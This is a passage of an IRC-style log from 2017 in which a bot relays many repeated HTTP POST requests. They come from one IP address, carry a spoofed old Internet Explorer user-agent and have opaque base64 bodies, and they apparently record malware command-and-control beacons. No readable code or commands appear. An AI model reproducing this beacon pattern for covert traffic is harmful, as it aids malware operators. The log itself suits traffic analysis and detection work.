  4103. [00:45] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4104. [00:45] <HTTP> Host: 172.86.120.218
  4105. [00:45] <HTTP> Content-Length: 404
  4106. [00:46] <HTTP> Cache-Control: no-cache
  4107. [00:46] <HTTP> dmlGjpZrVwDlj8suA2nEjKJJfpp6C+pxswdejLM802Y5u1xaS/lTVtKQkF1Y5E5UaG+gkls118AZNrlcwiQWFu5eLzExqb1HQj/u+Y4wC9cO8yQbPJv/Drq96B8QkFnD1tlxjM+7xygtAk+/1+I+uBp2qvCWGwM9REWgcYP7hMaYQWkTVVNA4396kEh5DO0Y8ffFwH7yVSAW12jJa7ZGlm+vIBGeVsONKwk40RCZfkvN0YZ56oueYbzLcye1JdLh3gTKeLkbdE/ftjWK6LgIyQNpuYl+xOsSfBqH6NUzZra2RUD5RMrPL6d2iAq95tyXBa01RCNHEsXGB6BXVNPKz2qij6Y7eLw6aaJwxaM+Q7jKd/0nvy/UXf89f7rWcINielGg/s59A/YaDAsEUMFA
  4108. [00:47] <HTTP> Socket initiated: 203.87.133.143
  4109. [00:47] <HTTP> POST / HTTP/1.1
  4110. [00:47] <HTTP> Content-Type: application/x-www-form-urlencoded
  4111. [00:48] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4112. [00:48] <HTTP> Host: 172.86.120.218
  4113. [00:48] <HTTP> Content-Length: 396
  4114. [00:48] <HTTP> Cache-Control: no-cache
  4115. [00:48] <HTTP> cTpF3pc5AjySYMPvaBU60FmTb0QVYOV6r8+iL9K+S8adTxeBPHvJF5/g/T/21ygTRqika1oruKhNGWVouUVwGCFx5zb0lTQTH9pvPeZtPrytOyzDz6MAdubAU6435M0KMPOBYwVFePSfGV7Dxla8lNObc9jVwueHRkYKTFxIyalPoACG0vdk0Z0Z2t5XifDmmPQdA6rp+5Is+uQVZBTUlaXQ9kJ7SKuk3IXQDy48/kKZWpHh8kk3YxllmvlGBCgKvucvI224a0s1zZlVuM9KH8Bpd4FAoweaMbZbB7eHMLR7zZKcO8NaAyaipqZrxXbv6Suy4igNpJ7tHCQEXWJ301aCqkUp721nFgJ6lMdyl+u5YEgVLcGChwgei+6jUAR3XMBQuT9Zj1JQ
  4116. [00:49] <HTTP> Socket initiated: 203.87.133.143
  4117. [00:50] <HTTP> POST / HTTP/1.1
  4118. [00:50] <HTTP> Content-Type: application/x-www-form-urlencoded
  4119. [00:50] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4120. [00:50] <HTTP> Host: 172.86.120.218
  4121. [00:50] <HTTP> Content-Length: 424
  4122. [00:50] <HTTP> Cache-Control: no-cache
  4123. [00:50] <HTTP> I2pEj8drUJDGrEi0VIYj6Jlh7AGeroA3D/MUxnZ5OgRTTxLpPqbmBsImHvB+onO5OZuRy6zjtmdkGQoHhAbJLtUccvqB70IkpzkMTrSjD/mRhIx4DOxqOv3dX97cDqRqA0N2HAwBZx+QkB0Jf7ZjoerptXAyS3yV7+7Aq2CRqoiPe5XsLgTAY2vZZ4bvrvNBu9SKmuG6ZfswcWAGfQbbdEY07iNKMEpkLGy6NSvQTIsGVUr9S8f5lVLs8fjNX5wgzZgGP38LlKfdy8syijzBIjHhXFUZt5ug4RrSsG8PUTAtQ6hCe6kbFA5hlkQEmj1/nYdsTpdeclxYvoH1IR+ry3FU2ot7uhDh2uCfIpxjtlswhYx7MHcMzT/czpJSECDR18wq6LwBnoV9O/
  4124. [00:50] <HTTP> hwEnfgzM1B7xhKMObHAzVg2IU=
  4125. [00:51] <HTTP> Socket initiated: 203.87.133.143
  4126. [00:52] <HTTP> POST / HTTP/1.1
  4127. [00:52] <HTTP> Content-Type: application/x-www-form-urlencoded
  4128. [00:52] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4129. [00:52] <HTTP> Host: 172.86.120.218
  4130. [00:52] <HTTP> Content-Length: 396
  4131. [00:52] <HTTP> Cache-Control: no-cache
  4132. [00:52] <HTTP> dTlBjJQ7VaQMraZbVmcIMMITO0hi6ZyB2eykrO0QY2DrKNZabVB0fuAaa5LQPZMu/3lirpTZohJxB09jX2oiR8vxBTS/gunlMUDSKOf4rRL5PKjTHCfPA6RcsZx2szhqFhvT2DZQSr99/N+Pq0vUNFQttru7VWmTcDTihn6y3343NpZUGR0Tku6J62/lu2P0JejhnrH7QFGRL6A11oRDYACuCfrJXlN5RotLt8eSiqLySW+pN5AuZ9+04+VWp93jny/LM5JHNs+tuvwZ3am4JxJHr+F87bOYT8kE3oL+17V1Wi0l/g6ngGnUOG3VUeLKXBLd0EZkAoWF/Es0shgE6Owf0aeeMw2ylPgyvG6N/qZttfHw0mMvjnNKYbJ7UvM+ni16grBx9Q==
  4133. [00:53] <HTTP> Socket initiated: 203.87.133.143
  4134. [00:54] <HTTP> POST / HTTP/1.1
  4135. [00:54] <HTTP> Content-Type: application/x-www-form-urlencoded
  4136. [00:54] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4137. [00:54] <HTTP> Host: 172.86.120.218
  4138. [00:54] <HTTP> Content-Length: 372
  4139. [00:54] <HTTP> Cache-Control: no-cache
  4140. [00:54] <HTTP> cz5AjMI9BPMCojEkfl1P8K96Pxdk/SG+0IsIPJxxEDH/vmJsHu2Nv+cxWiUFAINB5KTiu0kS8zdAE52E+IKMsorAEUHMKwUNvxlh1jol8GKJ8KebEhsXeJQNQV3MYTysSOcKr2zLlU+akQ5sD2nJ1JWrfByawk3ImS1xtQXWsHIMg4mCh4EmkANGIwdNDjNRJUEb6OCpIDki39f2Xl4A8nlLAmSbZbyHe4toZi4VcMfPgJKoWJAZq9OzOIYpiP4xeEiCjAB8ANQxKuptVObIvFk+JdUtEhnq4GZ2ssaZOc4AwVLbrxJR02wtQ0ZH+rXa46qh43OIfRHVaqxCbTpu1SRttephEaO4Bp48DAaGvl21O5YnnA==
  4141. [00:56] <HTTP> Socket initiated: 203.87.133.143
  4142. [00:56] <HTTP> POST / HTTP/1.1
  4143. [00:56] <HTTP> Content-Type: application/x-www-form-urlencoded
  4144. [00:56] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4145. [00:56] <HTTP> Host: 172.86.120.218
  4146. [00:56] <HTTP> Content-Length: 400
  4147. [00:56] <HTTP> Cache-Control: no-cache
  4148. [00:56] <HTTP> ITtB3sU5WdzvPZj4+uZlhGByJJDtDciXFxGVFRrJk3ZO/tOwjgMR4jx6csxy0slfK8q71sey89VdIRspDzLuxD3fmNYu7eDORBsz/VmtM+laIUUxByoBdpk+Fl/+gZoeXKJGOSHLJdNiIP3VM1Wl1W6KK2CnwmH52zP3YDmHte8XgKw++Jb4Yf581Wwbs4bijli2Eo6emXuHr5cJbR04tJuYzPU72GRBJX/iK2hHeGw915kE9DPvdi4LVWwq/86zRb7DNRMWt73dMvT44yZMZP+z92UvdyhY83vR4J0nHO1MKRAPt+eAVXMNDgxvVaZ4MBl8Ppa0jcC0sRJLjtvoNY366v3g+MG6yTJEH3tSmNkcbpwk/LOpMt3tXBna5CNBK1AIZdcz3PiLygs=
  4149. [00:58] <HTTP> Socket initiated: 203.87.133.143
  4150. [00:58] <HTTP> POST / HTTP/1.1
  4151. [00:58] <HTTP> Content-Type: application/x-www-form-urlencoded
  4152. [00:58] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4153. [00:58] <HTTP> Host: 172.86.120.218
  4154. [00:58] <HTTP> Content-Length: 416
  4155. [00:58] <HTTP> Cache-Control: no-cache
  4156. [00:58] <HTTP> eG1A3MI+B5A3nAe8LnOlZJAvPlkRqejHIOPJEpdEbTrP2QDMvJWR9WjnYVB5U93gsQerNZ67bVv76ln2ScHdFKvVRss7A6vTcbeyDFkgele4xYxU7ZGWo+0WQQjZxCkhQ5e4+YkSHW0YTSBSoVVdCqlfnCXSvoyHmXSf5VZrVhlaRip6rTsIJz2NXioJ+pSuJz379DfVv2QZprIsEmc8MZ2SjFH7fdsEhZyFm2i96DcQql1/9/pj/Mnmr5ot+YwZ3WpaKmfoyS+6JdZijWOUMp9PdeModa+0dqUwxsNOtvVuxPsZSN4XmBiekTjAG9K+qMEWNXpf05QRSXbgapQYbB3Ul/f/g3HTctQNdvmAD0ag90Dhxno/KeZ2BTXE1z91VMdFS5j37RXjXO
  4157. [00:58] <HTTP> 7oRXTg42vOq39Zotdq
  4158. [01:00] <HTTP> Socket initiated: 203.87.133.143
  4159. [01:00] <HTTP> POST / HTTP/1.1
  4160. [01:00] <HTTP> Content-Type: application/x-www-form-urlencoded
  4161. [01:00] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4162. [01:00] <HTTP> Host: 172.86.120.218
  4163. [01:00] <HTTP> Content-Length: 376
  4164. [01:00] <HTTP> Cache-Control: no-cache
  4165. [01:00] <HTTP> cTxNjZFqUdO5Sc9qoo8q5srdMdhBcpvkx4zKBjrcEjXlYwhU5JP8I2z+sgLxTeWpJwwb2XYjQESzR+vsAY3sbCLkH8SV1tDv19u/mRK/UAL8P6YQVw+Man6B8m0Agtl+bPKk6Yy9N5m8D8poqe5dAH1NAQxMuhSId7qLvkWPDS0/8DjowOjZ0uuk4tZdjGwiTFRSK869abONHGqfXATN7A7GRCasLROpzB9kYTVFYSCFP+FtQPPUEwf//DofamE+3RkgeOGxy6Ox9O/xMri3EnA6vMT5cLmzKil4f3IYtDNuCMSEaWOVImRF9Tpxt1D2rVNkhPRsOidc2Bg4MWa0X0QeWluivXfutQdg6zJ3ah4eRQdGrQ3kLdQm
  4166. [01:02] <HTTP> Socket initiated: 203.87.133.143
  4167. [01:02] <HTTP> POST / HTTP/1.1
  4168. [01:02] <HTTP> Content-Type: application/x-www-form-urlencoded
  4169. [01:02] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4170. [01:02] <HTTP> Host: 172.86.120.218
  4171. [01:02] <HTTP> Content-Length: 404
  4172. [01:02] <HTTP> Cache-Control: no-cache
  4173. [01:02] <HTTP> eTxHiJA+WFMcmSQz0zA1JsA323yWeAq0bdznvxjeib9lZEHp3iGc0phirss+OLvhPUH7CuCiUz4ZpgyC4OVvTJXmgv9PGHuFWDN4kYe4jX8bvElWb5eu/KYgjzaFqxdwRaLxDH3owdZ6j6JMd/f/8wf0IJr7BGJgGQOWdRu69vRxKgMKpEKXj493mfeAX29EOfRYCHRsUy0ZeJwWb+Ab3wCOGgzbQynr3xBSVvzJtSRdzK18uCvHA4TnEZpm/4sCWomiEE7Ow1JEd3VhFsIHRHySgdlGb3OouowBS15UAqhG6EEpsLvqXEqlKjuNNqRg0xL1FnO9BKPsoW8oa5l3f/QA/KB/+dfiPO6oCkD9XicBO4WMUQQt+sicQd8sS75QFjx+xsgCH+94D7BkYIZz
  4174. [01:04] <HTTP> Socket initiated: 203.87.133.143
  4175. [01:04] <HTTP> POST / HTTP/1.1
  4176. [01:04] <HTTP> Content-Type: application/x-www-form-urlencoded
  4177. [01:04] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4178. [01:04] <HTTP> Host: 172.86.120.218
  4179. [01:04] <HTTP> Content-Length: 400
  4180. [01:04] <HTTP> Cache-Control: no-cache
  4181. [01:04] <HTTP> Jm1NiJE6AqeXq1JTjlHUCG/DVQb59mizVnfSa1krIuUAkv4bRRyg2xKJUtEB9Y335m2k8dH9CyUUAf8g0yLNxyGxhg8HJglauJ3/Ke1ioIbO4Fr6U83EZoqjRnBImUxRjCYj5x3/WVE3Mwrxf2zql1sNp8VU0k9sfLV2yH7u1rCmUXR1FXH2JR7gA+ZAhyC/A2nW+JCqNGnsn8IKAE7XesHIJOioC/KK47FH9NUifWMgb397/hRdhs6ml0aAueHeAC1shHPs9zJpnkB+w63a+vz/6qLLhQxJII1ooeZOphnzmHsr7M027Yr9Rila5CYCqhpamjMoemToNv+9kBsflE3vn4Y87U3wmEg9mCE2BGUE6oK4//+ReRCDbiEDRCPW7zTzDpntmJuj9Nk=
  4182. 02[01:06] * independent (independen@Owner.home-unix.com) Quit (Ping timeout: 60 seconds)
  4183. [01:06] <HTTP> Socket initiated: 203.87.133.143
  4184. [01:06] <HTTP> POST / HTTP/1.1
  4185. [01:06] <HTTP> Content-Type: application/x-www-form-urlencoded
  4186. [01:06] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4187. [01:06] <HTTP> Host: 172.86.120.218
  4188. [01:06] <HTTP> Content-Length: 356
  4189. [01:06] <HTTP> Cache-Control: no-cache
  4190. [01:06] <HTTP> Ij0Q3pJrWWXtN1CziaubMVitRdlPWQSJ4O74cLpepPbCCbdzd4//wWrMeJZQp1/WJMMIOih3hclgoO2p7AX+JNBp3wo5VM7hoAnCvY7Ki7NOEWshrgSlywuC/wzRXIuSpchhGfK2+n6MXJR6TLEa+Z5chTmnbdNGeo2N3VgNTrTajP3/hXrxdfOD4L0Bn4uFFCKCumV8ZwckG0HXSYP1nYsjVT6hr8qSQvu57KY3PbUjOzoxDZtPBQYAGqMk8WArILu4qSowRrDtrbTVIIAt51RLhZQKje1nAhUImo9J2f5uildRnmDJThotQQfqh/+iQPnD2lod/4l1yCsaSUpOMxCXREYd/udRbA==
  4191. [01:08] <HTTP> Socket initiated: 203.87.133.143
  4192. [01:08] <HTTP> POST / HTTP/1.1
  4193. [01:08] <HTTP> Content-Type: application/x-www-form-urlencoded
  4194. [01:08] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4195. [01:08] <HTTP> Host: 172.86.120.218
  4196. [01:08] <HTTP> Content-Length: 388
  4197. [01:08] <HTTP> Cache-Control: no-cache
  4198. [01:08] <HTTP> dj4WgMdsBJ7TncgZK9VhsaJaV3F7XwJsFX2ceZs1tvEypdPtB7qkq1tb9O0DxBsfC8871wLjnggiY+2sCIE+9RlqGwJu5W8/V467OKidcEvfkjNQkyQvxog6R+16l5YQuIVvkcqNRUC74kAQzXy6CF33+neXSG1xIa0nfSQF/fzVZa8Jf5uEaX7r8PY60aQBGiwJVhYTAbE1LlV8aUjW9lbIiwWh0NDQMlqTGgraNMq+W5OjLV4ndDDri470U0EkRSzcBd1CsWuXzniNuurTzRTWh/07ZRVZH5Q6Fymw7D9PteC/qZF6zHXPQ2JFSi+WOoe1prYd9OR0A9bYYjb6qc1aWLfRRTRgFVj9told3M4Qe536seqFcK2VSd/TvoV9G9Yg
  4199. 02[01:11] * Disconnected
  4200. Session Close: Sat Jun 03 01:11:15 2017
  4201.  
  4202. Session Start: Sat Jun 03 01:11:15 2017
  4203. Session Ident: ##ss
  4204. 02[01:13] * Attempting to rejoin channel ##ss
  4205. 03[01:13] * Rejoined channel ##ss
  4206. [01:14] <HTTP> Socket initiated: 203.87.133.143
  4207. [01:14] <HTTP> POST / HTTP/1.1
  4208. [01:14] <HTTP> Content-Type: application/x-www-form-urlencoded
  4209. [01:14] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4210. [01:14] <HTTP> Host: 172.86.120.218
  4211. [01:14] <HTTP> Content-Length: 368
  4212. [01:14] <HTTP> Cache-Control: no-cache
  4213. [01:14] <HTTP> ImxFicA8WHYdF3A2bRDlTAp9mBtbFwi+T8SX/eg7AwZOaCecIkMXHbv5HMBOiWWrug66Ceedwd+tYpfKu7vIdcfCXNXQH1dKa0R+RfrJyj8W6poVTMhytrm8UUeiY5bXCC8jYVXMSHdnm7Ztdafl+TAncxl2AspUIk1/+jU3gQTZkcMLHUgjO15GI7sOyPlAs6BJ3k61rlPJiIshCMm5hSFZg9D8qdghBi10jcbhUGfRUUXICkrYJozRa+WCtmSGtgS0NSoxOiBaTKmrqxQE6Buuyr1AQH6qs+xP1wmdnvLR5/PfF71LILZQOrbKXycMJ1yNEhgJQYbZ6XKxTjbsaB556FFl5NtJ7WVEPsBVSPHZU9I9
  4214. [01:16] <HTTP> Socket initiated: 203.87.133.143
  4215. [01:16] <HTTP> POST / HTTP/1.1
  4216. [01:16] <HTTP> Content-Type: application/x-www-form-urlencoded
  4217. [01:16] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4218. [01:16] <HTTP> Host: 172.86.120.218
  4219. [01:16] <HTTP> Content-Length: 428
  4220. [01:16] <HTTP> Cache-Control: no-cache
  4221. [01:16] <HTTP> Iz5Dj5I+VmuQ2tIKvlbVjEX/tTr4vh8RCyZnZMn/zfWEMWYNU5SPV++aSEZ4JRRYhHDACi0MhOTdPGHZjFDDCgaAwozh0VktDhvI12kcaHbGbyC+N58xzfSw2YcWkmML/+3NoE7CKWq8H99A2itUMuyPwntxvw69lnCKVlYCrCAC195+F57VBuhyEkVdgDh1Lj8yIu8MZCJOKxOgN1NUecuFwojAf2Ge2uoRt4sMMZ0lMgQLURFcfGsYOQnF/uuojFdq+sP7faDsaWbbq+xWspWHG7V+a7PBolOYm7Wy33/HsCLvFM0z5WERM86QPCsqV/yh/Fr1X9QQnUMb/uAKW837h+08EAsmNAiYOx/JiNShjfYW4kbL+erxfpanr5KWesuZYNtxRmm25t
  4222. [01:16] <HTTP> 6YkggrWWHydKxFloIERQy3kC0bCA==
  4223. [01:18] <HTTP> Socket initiated: 203.87.133.143
  4224. [01:18] <HTTP> POST / HTTP/1.1
  4225. [01:18] <HTTP> Content-Type: application/x-www-form-urlencoded
  4226. [01:18] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4227. [01:18] <HTTP> Host: 172.86.120.218
  4228. [01:18] <HTTP> Content-Length: 416
  4229. [01:18] <HTTP> Cache-Control: no-cache
  4230. [01:18] <HTTP> JT0W2p8+AubetYN03EsRftVunHfPGPdBpud9OEadIvRCkrEUSKibbukFFE+QQY6mZ3xZbzOsAw2oSRJhofw/mPVsv8THoGVNO6D0Sd84GJjYNx04x9cesfsabxWytc+EdssrcJgtW6C/ywBGhKx/co/FNRq+UrEkFrj5o+hxF60j0KOJN5+ZaOugEvl1KfFdGqwRG5gpqoCRi0rp+0j6xpdiaLoaaLj5SImejGZw41k+yZrF/ZlJf3x9ctBU9azUP7+sxTuC/kGTwlE3CtH2+vN1+82x5tqv+h2VZfrN0XJafh6sY5DQcWenURduDpET/ALb/dT5KP/k80VZlkSHkxhIRDtsmYutEDPtKl3MWjsAN49oDM2x5S6/WMeXF4Cm17gqGE8INVP7kS
  4231. [01:18] <HTTP> y6xipCFDT6Kyfk7r8=
  4232. [01:20] <HTTP> Socket initiated: 203.87.133.143
  4233. [01:20] <HTTP> POST / HTTP/1.1
  4234. [01:20] <HTTP> Content-Type: application/x-www-form-urlencoded
  4235. [01:20] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4236. [01:20] <HTTP> Host: 172.86.120.218
  4237. [01:20] <HTTP> Content-Length: 364
  4238. [01:20] <HTTP> Cache-Control: no-cache
  4239. [01:20] <HTTP> dDkVicdpWFh6hnErMXx76Ztht/BulSvWTSgFg7vh/Bsqt+08l4RuYuQ3QwvbWPq+DBJTBWqihkm85MQqr6haehDDRmcky3CqvhBzmUoEV1rd+ruW/7bBPCz0SL3DtoQmpJ8NhtYLH31WOtA8/FP854QRXN0ejPnm2wN5vqJ4nJ5WQVSfDt5x8qDDOx3eDZiEi7iOc5J/wAaXyagsjOGzhFmAapIxxw9f979eLw77mEvOy6z5oVovZupmIZbI0sm8BX98Mdz/SMyPXeZOnmkwWeNoDHRJiFV5wnO1nYJBgEP9Br6w7FW+yWZ1HKTXJFK2vWG3/EoQrLsrtE+l6DzpnOcy5Qg+Ou2QHQnUBg8aWQ==
  4240. [01:22] <HTTP> Socket initiated: 203.87.133.143
  4241. [01:22] <HTTP> POST / HTTP/1.1
  4242. [01:22] <HTTP> Content-Type: application/x-www-form-urlencoded
  4243. [01:22] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4244. [01:22] <HTTP> Host: 172.86.120.218
  4245. [01:22] <HTTP> Content-Length: 372
  4246. [01:22] <HTTP> Cache-Control: no-cache
  4247. [01:22] <HTTP> cjwWipI7BXI/8bikoo2L5hQB33BJmoGGXgGTy0OqYfxSP3ZoQ2tuPpeX/vx0y6tBKiFSt7Ibpp7juX+gtDghBp/wlc/QeBdEe5THFRp3LZGpm1PS7Md26nI/dgMq77piHjzbjj/54p/GRuHlpZ2qoAOrtvssoLw/PP593GC77f9FZI/4RxhDof+iwvi4xBy/qFk5NCnlWAZLwipnO7U6YRe7o6yYSyh74ekhGlCypm9qp/n8cUuNd+iE/F/8YWqnMMl7qZqqcWY4MP8qkcwjIOxdKaG9UiD/LoTzAeF0jNf4JhCY0YP/SV3fJLtntpCYs9gCxXhRrMbCFAk09/i/vRoQ3kh/Proq3ZKY1DG57aEqB+f9Pkry
  4248. [01:24] <HTTP> Socket initiated: 203.87.133.143
  4249. [01:24] <HTTP> POST / HTTP/1.1
  4250. [01:24] <HTTP> Content-Type: application/x-www-form-urlencoded
  4251. [01:24] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4252. [01:24] <HTTP> Host: 172.86.120.218
  4253. [01:24] <HTTP> Content-Length: 360
  4254. [01:24] <HTTP> Cache-Control: no-cache
  4255. [01:25] <HTTP> dj1BgJE8A8uLHbMb2mHnahZt2EWu8UASUOG78A4nI6tDUO18WaUMsaDmCoUm/SUQcS9w1bhl072ovX4Cq5nwvEhIvNSHczA3uv32rcSD6MRuBJLquGeg/2r3eI6GP4JUcXSkFpg4kB5AD54ZuTUlphg6Y4YrqIu3HLsqwOIkToilQvGNRlHRp4dguKafyaQ8fhuaVCGEzCJjMXsESv9ZOuTXfWdIp3DZ7XOAtBbd1FxfBqkmovCA96Hfg2Zi+aJnRiFb2uA3EAaaGHVo5axlQeDOoSYBdHUD7JHoimAuuAdMy+A2KDxX6Acds04JbTJs620soTMu691IIVkEr0nCByaKIzmbgobwCEUZKDw=
  4256. [01:26] <HTTP> Socket initiated: 203.87.133.143
  4257. [01:26] <HTTP> POST / HTTP/1.1
  4258. [01:26] <HTTP> Content-Type: application/x-www-form-urlencoded
  4259. [01:26] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4260. [01:26] <HTTP> Host: 172.86.120.218
  4261. [01:26] <HTTP> Socket initiated: 91.230.47.3
  4262. [01:27] <HTTP> Content-Length: 404
  4263. [01:27] <HTTP> Cache-Control: no-cache
  4264. [01:27] <HTTP> dGwXjJRrUWkVOkT0Kw4q0IJCmozIM9/Wt9yR2W5cgd972zhfpbdQt4orvsXgZ5uqI5ecNIMyYnqNFooXV2xFkS8BM02N6fBS0TIPg66Ooo8q7CVB/CHXc0VwniT/+O/xSubDZP9/G0t/sd8+qGhXGnSkYoPAb/VDBLSfMadjpZ2l70bwlar094u07pDnoxTeerIau849mCWy1PoLaerinj2MqvXMZg3EseDS/IqQNmS6YTTuzm4Y74agAW9bv7vM+v5QFa3E/kkVd+ADwy4CC5b+ce1hzaOHMau4b0QXp7T2SOiJoWrLG9U1K36bz3DHXO9qYQEuKwYBIS+sYVQ1J0K2mnOltIkzWzN0g0r9SzAZIwKA0RCMqimzphyFgShhG/c6UiPwZin7+GZFOqs=
  4265. [01:27] <HTTP> GET / HTTP/1.0
  4266. [01:27] <HTTP> Connection: close
  4267. [01:28] <HTTP> Socket initiated: 203.87.133.143
  4268. [01:28] <HTTP> POST / HTTP/1.1
  4269. [01:28] <HTTP> Content-Type: application/x-www-form-urlencoded
  4270. [01:29] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4271. [01:29] <HTTP> Host: 172.86.120.218
  4272. [01:29] <HTTP> Content-Length: 364
  4273. [01:29] <HTTP> Cache-Control: no-cache
  4274. [01:29] <HTTP> cDgQjcJqAJXldIxop7iVU3CiKOhMBxYL4ylea73UJCIjYk+bymPAsCb0t4DEsAJERQYXOiwY29+jbwpzrkiw04RiZRIvTTCwvFTF/VFvychHx/Y7Z59ZAep8UuVHjG4UsLOtcdwI4bFdJIjR4MuvvFWZlN/EGwNKNR7eNmCpRTIqvtMjsIv4b2QKr2yKpUWG1Z0CT42ZNh7jA80LqFKTdS05uYG4VNhXdFIAMT0T4EUHgugU6S8FvlCxOh1ByPow4c4t4zZ9rOmZ9vCPfyW3vpAX1OfAhjZgkaMvDg++WMDv+3jf+NIRKqiCLg6q5NfDgw1MUjOvPj/OzMn2mfqcZjJQ2QE0UKMM5FgkO+qcqdo=
  4275. [01:30] <HTTP> Socket initiated: 203.87.133.143
  4276. [01:31] <HTTP> POST / HTTP/1.1
  4277. [01:31] <HTTP> Content-Type: application/x-www-form-urlencoded
  4278. [01:31] <HTTP> User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
  4279. [01:31] <HTTP> Host: 172.86.120.218
  4280. [01:31] <HTTP> Content-Length: 360
  4281. [01:31] <HTTP> Cache-Control: no-cache
